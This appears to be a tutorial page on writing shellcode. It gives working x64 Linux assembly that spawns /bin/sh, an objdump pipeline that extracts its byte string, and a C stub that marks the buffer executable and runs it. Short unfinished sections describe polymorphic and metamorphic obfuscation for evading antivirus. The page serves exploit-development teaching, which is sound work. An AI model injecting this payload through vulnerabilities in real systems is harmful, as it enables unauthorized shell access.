πShellcode
What's a shellcode ?
A shellcode is a string of characters representing an executable binary code capable of launching any application on the machine. In most cases, a shellcode opens a shell to gain full access to the machine. Generally, shellcodes are injected into the machine's memory by exploiting a stack buffer overflow
, use after free
, heap buffer overflow
vulnerabilities. A shellcode basically creates a shell which allows it to execute any code the attacker wants.
Basic shellcode.
Before starting anything, here's some useful informations. A shellcode is generally written in assembly. That's mean you have to write different shellcodes according to the target's operating system (Linux, OSX, BSD, Windows...) and processor architecture (x86, x64, arm...). You can find pre-maked shellcodes at shell storm.
Here, we are going to make shellcode for x64 linux systems.
bits 64
section .text
global _start
_start:
; execve("/bin/sh", NULL, NULL)
xor rsi, rsi
push rsi
pop rdx
push rsi
mov rdi, 0x68732f2f6e69622f ; Move /bin//sh into rdi in reverse order
push rdi
mov rdi, rsp
push 0x3b ; Push syscall number 59 (execve) onto the stack
pop rax ; SYS_execve
syscall ; Trigger syscall with rax=59, rdi=/bin//sh, rsi=NULL, rdx=NULL
This code executes the execve
system call to run /bin/sh
with NULL arguments and environment. It zeroes out rsi
and rdx
(setting argv
and envp
to NULL), sets rdi
to point to the string /bin//sh
, places the execve
syscall number (59) in rax
, and invokes the syscall.
We can "compile" this code using the following command.
nasm -f elf64 -o shell.o <the_shellcode_file> ; ld -o shell shell.o
nasm -f elf64 -o shell.o <the_shellcode_file>
: Uses NASM to assemble the shellcode source file into a 64-bit ELF object file namedshell.o
.ld -o shell shell.o
: Uses the linker to create an executable namedshell
from theshell.o
object file.
This command sequence compiles and links your assembly shellcode into an executable binary that can be run on a 64-bit Linux system.
Finally, you can use the binutils
to get the string of characters representing an executable binary code.
~$ objdump -d shell
shell: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 48 31 f6 xor %rsi,%rsi
401003: 56 push %rsi
401004: 5a pop %rdx
401005: 56 push %rsi
401006: 48 bf 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rdi
40100d: 2f 73 68
401010: 57 push %rdi
401011: 48 89 e7 mov %rsp,%rdi
401014: 6a 3b push $0x3b
401016: 58 pop %rax
401017: 0f 05 syscall
~$ objdump -d shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x48\x31\xf6\x56\x5a\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x6a\x3b\x58\x0f\x05"
You can try your shellcode with the following script. This code is used to provide a C template to paste shellcode into and be able to run it live from within an ELF binary's char buffer. This allows you to create a buffer with the shellcode globally and this program will mark it as RWX
using mprotect()
and then finally jump into. This code is made by Travis Phillips.
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
char payload[] = "\x48\x31\xf6\x56\x5a\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x6a\x3b\x58\x0f\x05";
int main() {
puts("\n\t\033[33;1m---===[ Shellcode Tester Stub v1.0 ]===---\033[0m\n");
printf(" [\033[34;1m*\033[0m] Shellcode Size: %d\n", sizeof(payload)-1);
// Create a function pointer to the shellcode and display it to the user.
void (*payload_ptr)() = (void(*)())&payload;
printf(" [\033[34;1m*\033[0m] Shellcode Address: 0x%08x\n", payload_ptr);
// Calculate the address to the start of the page for the shellcode.
void *page_offset = (void *)((int)payload_ptr & ~(getpagesize()-1));
printf(" [\033[34;1m*\033[0m] Shellcode page: 0x%08x\n", page_offset);
// Use mprotect to mark that page as RWX.
mprotect(page_offset, getpagesize(), PROT_READ|PROT_WRITE|PROT_EXEC);
// Finally, use our function pointer to jump into our payload.
puts("\n\033[33;1m---------[ Begin Shellcode Execution ]---------\033[0m");
payload_ptr();
// We likely won't get here, but might as well include it just in case.
puts("\033[33;1m---------[ End Shellcode Execution ]---------\033[0m");
return 0;
}
Compile it like this.
~$ gcc -m32 x86_shellcode_tester.c -o x86_shellcode_tester
Polymorphic shellcode
Polymorphic shellcode changes its appearance every time it is generated, but the core functionality of the code remains the same. This is achieved through techniques such as:
Encryption: The shellcode is encrypted using various encryption algorithms, and a decryption routine is included that decrypts the shellcode at runtime.
Variable Substitution: Changing variable names, register usage, and using different instructions that achieve the same result.
Instruction Substitution: Replacing instructions with equivalent instructions or instruction sequences (e.g., replacing a
MOV
instruction with a combination ofPUSH
andPOP
).
The key characteristic of polymorphic shellcode is that while the code looks different each time it is generated, it performs the same operations when executed.
The rest is coming soon...
Metamorphic shellcode
Metamorphic shellcode takes the obfuscation process a step further by not only changing the appearance of the code but also altering its internal structure and logic. This involves:
Code Reordering: Changing the order of instructions or code blocks in a way that doesn't affect the overall functionality.
Code Insertion: Adding junk or no-op instructions that do not affect the program's logic.
Control Flow Modification: Altering the control flow by using techniques like changing loops, reordering branches, and adding conditional statements that always evaluate to true.
The metamorphic approach modifies the actual code structure, making it more difficult to detect patterns that anti-virus software might rely on. As a result, the generated shellcode can look drastically different in terms of both appearance and structure, even though it ultimately performs the same task.
The rest is coming soon...
I would like to thank:
Bluej0k3r
OxyDe
Skriix
Last updated